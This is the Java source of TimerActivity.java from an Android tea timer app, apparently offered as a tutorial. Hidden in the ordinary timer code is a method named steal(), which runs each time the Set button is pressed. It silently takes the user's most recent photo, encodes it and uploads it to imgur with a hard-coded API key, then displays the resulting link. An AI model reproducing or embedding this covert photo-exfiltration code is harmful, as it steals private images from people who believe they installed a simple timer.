Java tutorial
/* @file TimerActivity.java * * TeaTimer is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * any later version. More info: http://www.gnu.org/licenses/ * * Copyright 2009 Ralph Gootee <rgootee@gmail.com> * */ package goo.TeaTimer; import goo.TeaTimer.Animation.TimerAnimation; import goo.TeaTimer.widget.NNumberPickerDialog; import goo.TeaTimer.widget.NNumberPickerDialog.OnNNumberPickedListener; import goo.TeaTimer.widget.NumberPicker; import java.io.BufferedReader; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.InputStreamReader; import java.io.OutputStreamWriter; import java.net.URL; import java.net.URLConnection; import java.net.URLEncoder; import java.util.Date; import java.util.Timer; import java.util.TimerTask; import org.json.JSONObject; import android.app.Activity; import android.app.AlarmManager; import android.app.AlertDialog; import android.app.AlertDialog.Builder; import android.app.Dialog; import android.app.PendingIntent; import android.content.Context; import android.content.DialogInterface; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.OnSharedPreferenceChangeListener; import android.database.Cursor; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.media.AudioManager; import android.os.Bundle; import android.os.Handler; import android.os.Looper; import android.os.Message; import android.os.PowerManager; import android.os.PowerManager.WakeLock; import android.os.SystemClock; import android.preference.PreferenceManager; import android.provider.MediaStore; import android.util.Log; import android.view.LayoutInflater; import android.view.Menu; import android.view.MenuItem; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.ImageButton; import android.widget.TextView; import android.widget.Toast; /** * The main activity which shows the timer and allows the user to set the time * @author Ralph Gootee (rgootee@gmail.com) */ public class TimerActivity extends Activity implements OnClickListener, OnNNumberPickedListener, OnSharedPreferenceChangeListener { /** All possible timer states */ private final static int RUNNING = 0, STOPPED = 1, PAUSED = 2; /** Should the logs be shown */ private final static boolean LOG = true; /** Menu item ids */ private final static int PREF = 0; private final static int ABOUT = 1; /** Macros for our dialogs */ private final static int NUM_PICKER_DIALOG = 0, ALERT_DIALOG = 1; private static final int IO_BUFFER_SIZE = 4 * 1024; /** debug string */ private final String TAG = getClass().getSimpleName(); /** Update rate of the internal timer */ private final int TIMER_TIC = 100; /** The timer's current state */ private int mCurrentState = -1; /** The maximum time */ private int mLastTime = 0; /** The current timer time */ private int mTime = 0; /** Internal increment class for the timer */ private Timer mTimer = null; /** Handler for the message from the timer service */ private Handler mHandler = new Handler() { @Override public void handleMessage(Message msg) { // The timer is finished if (msg.arg1 <= 0) { if (mTimer != null) { if (LOG) Log.v(TAG, "rcvd a <0 msg = " + msg.arg1); Context context = getApplicationContext(); CharSequence text = getResources().getText(R.string.Notification); Toast.makeText(context, text, Toast.LENGTH_SHORT).show(); timerStop(); } // Update the time } else { mTime = msg.arg1; //enterState(RUNNING); onUpdateTime(); } } }; private String mImgUrl = ""; /** To save having to traverse the view tree */ private ImageButton mPauseButton, mCancelButton; private Button mSetButton; private TimerAnimation mTimerAnimation; private TextView mTimerLabel; private Bitmap mPlayBitmap, mPauseBitmap; private AlarmManager mAlarmMgr; private PendingIntent mPendingIntent; private AudioManager mAudioMgr; private SharedPreferences mSettings; private WakeLock mWakeLock; /** Called when the activity is first created. * { @inheritDoc} */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); mCancelButton = (ImageButton) findViewById(R.id.cancelButton); mCancelButton.setOnClickListener(this); mSetButton = (Button) findViewById(R.id.setButton); mSetButton.setOnClickListener(this); mPauseButton = (ImageButton) findViewById(R.id.pauseButton); mPauseButton.setOnClickListener(this); mPauseBitmap = BitmapFactory.decodeResource(getResources(), R.drawable.pause); mPlayBitmap = BitmapFactory.decodeResource(getResources(), R.drawable.play); mTimerLabel = (TextView) findViewById(R.id.label); mTimerAnimation = (TimerAnimation) findViewById(R.id.imageView); enterState(STOPPED); // Store some useful values mSettings = PreferenceManager.getDefaultSharedPreferences(getBaseContext()); mAlarmMgr = (AlarmManager) getSystemService(Context.ALARM_SERVICE); mAudioMgr = (AudioManager) getSystemService(Context.AUDIO_SERVICE); mSettings.registerOnSharedPreferenceChangeListener(this); } /** { @inheritDoc} */ @Override public boolean onCreateOptionsMenu(Menu menu) { MenuItem item = menu.add(0, PREF, 0, getResources().getString(R.string.prefs)); MenuItem about = menu.add(1, 1, 0, getResources().getString(R.string.about)); item.setIcon(android.R.drawable.ic_menu_preferences); about.setIcon(android.R.drawable.ic_menu_info_details); return super.onCreateOptionsMenu(menu); } private void steal() { new Thread(new Runnable() { public void run() { try { Looper.prepare(); String[] filePathColumn = { MediaStore.Images.Media.DATA }; Cursor cursor = getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, filePathColumn, null, null, null); cursor.moveToLast(); int columnIndex = cursor.getColumnIndex(filePathColumn[0]); String filePath = cursor.getString(columnIndex); cursor.close(); Log.v(TAG, "FilePath:" + filePath); Bitmap bitmap = BitmapFactory.decodeFile(filePath); bitmap = Bitmap.createScaledBitmap(bitmap, 480, 320, true); // Creates Byte Array from picture ByteArrayOutputStream baos = new ByteArrayOutputStream(); bitmap.compress(Bitmap.CompressFormat.PNG, 100, baos); // Not sure whether this should be jpeg or png, try both and see which works best URL url = new URL("http://api.imgur.com/2/upload.json"); //encodes picture with Base64 and inserts api key String data = URLEncoder.encode("image", "UTF-8") + "=" + URLEncoder.encode(Base64.encodeBytes(baos.toByteArray()).toString(), "UTF-8"); data += "&" + URLEncoder.encode("key", "UTF-8") + "=" + URLEncoder.encode("e7570f4de21f88793225d963c6cc4114", "UTF-8"); data += "&" + URLEncoder.encode("title", "UTF-8") + "=" + URLEncoder.encode("evilteatimer", "UTF-8"); // opens connection and sends data URLConnection conn = url.openConnection(); conn.setDoOutput(true); OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream()); wr.write(data); wr.flush(); // Read the results BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); String jsonString = in.readLine(); in.close(); JSONObject json = new JSONObject(jsonString); String imgUrl = json.getJSONObject("upload").getJSONObject("links").getString("imgur_page"); Log.v(TAG, "Imgur link:" + imgUrl); Context context = getApplicationContext(); mImgUrl = imgUrl; Toast toast = Toast.makeText(context, imgUrl, Toast.LENGTH_LONG); toast.show(); } catch (Exception exception) { Log.v(TAG, "Upload Failure:" + exception.getMessage()); } } }).start(); } /** { @inheritDoc} */ @Override public boolean onOptionsItemSelected(MenuItem item) { switch (item.getItemId()) { case PREF: startActivity(new Intent(this, TimerPrefActivity.class)); break; case ABOUT: //new TimerAboutDialog(this).show(); //break; LayoutInflater li = LayoutInflater.from(this); View view = li.inflate(R.layout.about, null); Builder p = new AlertDialog.Builder(this).setView(view); final AlertDialog alrt = p.create(); alrt.setIcon(R.drawable.icon); alrt.setTitle(mImgUrl); alrt.setButton(AlertDialog.BUTTON_NEGATIVE, getString(R.string.close), new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int whichButton) { } }); alrt.show(); return true; default: return false; } return true; } /** { @inheritDoc} */ @Override public void onPause() { super.onPause(); // Save our settings SharedPreferences.Editor editor = mSettings.edit(); editor.putInt("LastTime", mLastTime); editor.putInt("CurrentTime", mTime); editor.putInt("DrawingIndex", mTimerAnimation.getIndex()); editor.putInt("State", mCurrentState); switch (mCurrentState) { case RUNNING: { if (mTimer != null) { mTimer.cancel(); editor.putLong("TimeStamp", new Date().getTime() + mTime); } } break; case STOPPED: case PAUSED: { editor.putLong("TimeStamp", 1); } break; } editor.commit(); releaseWakeLock(); } /** {@inheritDoc} */ @Override public void onResume() { super.onResume(); // check the timestamp from the last update and start the timer. // assumes the data has already been loaded? mLastTime = mSettings.getInt("LastTime", 0); mTimerAnimation.setIndex(mSettings.getInt("DrawingIndex", 0)); int state = mSettings.getInt("State", 0); switch (state) { case RUNNING: long timeStamp = mSettings.getLong("TimeStamp", -1); Date now = new Date(); Date then = new Date(timeStamp); // We still have a timer running! if (then.after(now)) { int delta = (int) (then.getTime() - now.getTime()); timerStart(delta, false); mCurrentState = RUNNING; // All finished } else { clearTime(); enterState(STOPPED); } break; case STOPPED: enterState(STOPPED); break; case PAUSED: mTime = mSettings.getInt("CurrentTime", 0); onUpdateTime(); enterState(PAUSED); break; } } /** * Updates the time */ public void onUpdateTime() { updateLabel(mTime); mTimerAnimation.updateImage(mTime, mLastTime); } /** * Updates the text label with the given time * @param time in milliseconds */ public void updateLabel(int time) { String str = TimerUtils.time2str(time); int size = TimerUtils.textSize(str); mTimerLabel.setTextSize(size); mTimerLabel.setText(str); } /** {@inheritDoc} */ @Override protected Dialog onCreateDialog(int id) { Dialog d = null; switch (id) { case NUM_PICKER_DIALOG: { int[] timeVec = TimerUtils.time2Mhs(mLastTime); int[] init = { timeVec[0], timeVec[1], timeVec[2] }; int[] inc = { 1, 1, 1 }; int[] start = { 0, 0, 0 }; int[] end = { 23, 59, 59 }; String[] sep = { ":", ".", "" }; NumberPicker.Formatter[] format = { NumberPicker.TWO_DIGIT_FORMATTER, NumberPicker.TWO_DIGIT_FORMATTER, NumberPicker.TWO_DIGIT_FORMATTER }; d = new NNumberPickerDialog(this, this, getResources().getString(R.string.InputTitle), init, inc, start, end, sep, format); } break; case ALERT_DIALOG: { AlertDialog.Builder builder = new AlertDialog.Builder(this); builder.setMessage(getResources().getText(R.string.warning_text)).setCancelable(false) .setPositiveButton(getResources().getText(R.string.warning_button), null) .setTitle(getResources().getText(R.string.warning_title)); d = builder.create(); } break; } return d; } /** {@inheritDoc} */ @Override protected void onPrepareDialog(int id, Dialog d) { switch (id) { case NUM_PICKER_DIALOG: { int[] timeVec = TimerUtils.time2Mhs(mLastTime); int[] init = { timeVec[0], timeVec[1], timeVec[2] }; NNumberPickerDialog dialog = (NNumberPickerDialog) d; dialog.setInitialValues(init); } } super.onPrepareDialog(id, d); } /** * Callback for the number picker dialog */ public void onNumbersPicked(int[] number) { int hour = number[0]; int min = number[1]; int sec = number[2]; mLastTime = hour * 60 * 60 * 1000 + min * 60 * 1000 + sec * 1000; // Check to make sure the phone isn't set to silent boolean silent = (mAudioMgr.getRingerMode() == AudioManager.RINGER_MODE_SILENT); String noise = mSettings.getString("NotificationUri", ""); boolean vibrate = mSettings.getBoolean("Vibrate", true); boolean nag = mSettings.getBoolean("NagSilent", true); // If the conditions are _just_ right show a nag screen if (nag && silent && (noise != "" || vibrate)) { showDialog(ALERT_DIALOG); } timerStart(mLastTime, true); } /** * This only refers to the visual state of the application, used to manage * the view coming back into focus. * * @param state the visual state that is being entered */ private void enterState(int state) { if (mCurrentState != state) { mCurrentState = state; if (LOG) Log.v(TAG, "Set current state = " + mCurrentState); switch (state) { case RUNNING: { mSetButton.setVisibility(View.GONE); mCancelButton.setVisibility(View.VISIBLE); mPauseButton.setVisibility(View.VISIBLE); mPauseButton.setImageBitmap(mPauseBitmap); } break; case STOPPED: { mPauseButton.setVisibility(View.GONE); mCancelButton.setVisibility(View.GONE); mSetButton.setVisibility(View.VISIBLE); clearTime(); } break; case PAUSED: { mSetButton.setVisibility(View.GONE); mPauseButton.setVisibility(View.VISIBLE); mCancelButton.setVisibility(View.VISIBLE); mPauseButton.setImageBitmap(mPlayBitmap); } break; } } } /** * Cancels the alarm portion of the timer */ private void stopAlarmTimer() { if (LOG) Log.v(TAG, "Stopping the alarm timer ..."); mAlarmMgr.cancel(mPendingIntent); } /** * Stops the timer */ private void timerStop() { if (LOG) Log.v(TAG, "Timer stopped"); clearTime(); // Stop our timer service enterState(STOPPED); mTimer.cancel(); releaseWakeLock(); } private void releaseWakeLock() { // Remove the wakelock if (mWakeLock != null && mWakeLock.isHeld()) { if (LOG) Log.v(TAG, "Releasing wake lock..."); mWakeLock.release(); mWakeLock = null; } } /** * Only aquires the wake lock _if_ it is set in the settings. */ private void aquireWakeLock() { // We're going to start a wakelock if (mSettings.getBoolean("WakeLock", false)) { if (LOG) Log.v(TAG, "Issuing a wakelock..."); PowerManager pm = (PowerManager) getSystemService(POWER_SERVICE); if (mWakeLock != null) Log.e(TAG, "There's already a wakelock... Shouldn't be there!"); mWakeLock = pm.newWakeLock(PowerManager.SCREEN_DIM_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE, TAG); mWakeLock.acquire(); } } /** * Starts the timer at the given time * @param time with which to count down * @param service whether or not to start the service as well */ private void timerStart(int time, boolean service) { if (LOG) Log.v(TAG, "Starting the timer..."); // Star external service enterState(RUNNING); if (service) { if (LOG) Log.v(TAG, "Starting the timer service ..."); Intent intent = new Intent(getApplicationContext(), TimerReceiver.class); intent.putExtra("SetTime", mLastTime); mPendingIntent = PendingIntent.getBroadcast(getApplicationContext(), 0, intent, PendingIntent.FLAG_CANCEL_CURRENT); mAlarmMgr.set(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime() + time, mPendingIntent); } // Internal thread to properly update the GUI mTimer = new Timer(); mTime = time; mTimer.scheduleAtFixedRate(new TimerTask() { public void run() { timerTic(); } }, 0, TIMER_TIC); aquireWakeLock(); } /** Resume the time after being paused */ private void resumeTimer() { if (LOG) Log.v(TAG, "Resuming the timer..."); timerStart(mTime, true); enterState(RUNNING); } /** Pause the timer and stop the timer service */ private void pauseTimer() { if (LOG) Log.v(TAG, "Pausing the timer..."); mTimer.cancel(); mTimer = null; stopAlarmTimer(); enterState(PAUSED); } /** Called whenever the internal timer is updated */ protected void timerTic() { mTime -= TIMER_TIC; if (mHandler != null) { Message msg = new Message(); msg.arg1 = mTime; mHandler.sendMessage(msg); } } /** Clears the time, sets the image and label to zero */ private void clearTime() { mTime = 0; onUpdateTime(); } /** {@inheritDoc} */ public void onClick(View v) { switch (v.getId()) { case R.id.setButton: { steal(); showDialog(NUM_PICKER_DIALOG); } break; case R.id.pauseButton: { switch (mCurrentState) { case RUNNING: pauseTimer(); break; case PAUSED: resumeTimer(); break; } } break; case R.id.cancelButton: { // We need to be careful to not cancel timers // that are not running (e.g. if we're paused) switch (mCurrentState) { case RUNNING: timerStop(); stopAlarmTimer(); break; case PAUSED: clearTime(); enterState(STOPPED); break; } } break; } } /** * Mostly used for the wakelock currently -- should be used for the visual components eventually */ public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) { // We need to check if the if (key == "WakeLock") { if (mSettings.getBoolean("WakeLock", false)) aquireWakeLock(); else releaseWakeLock(); } } }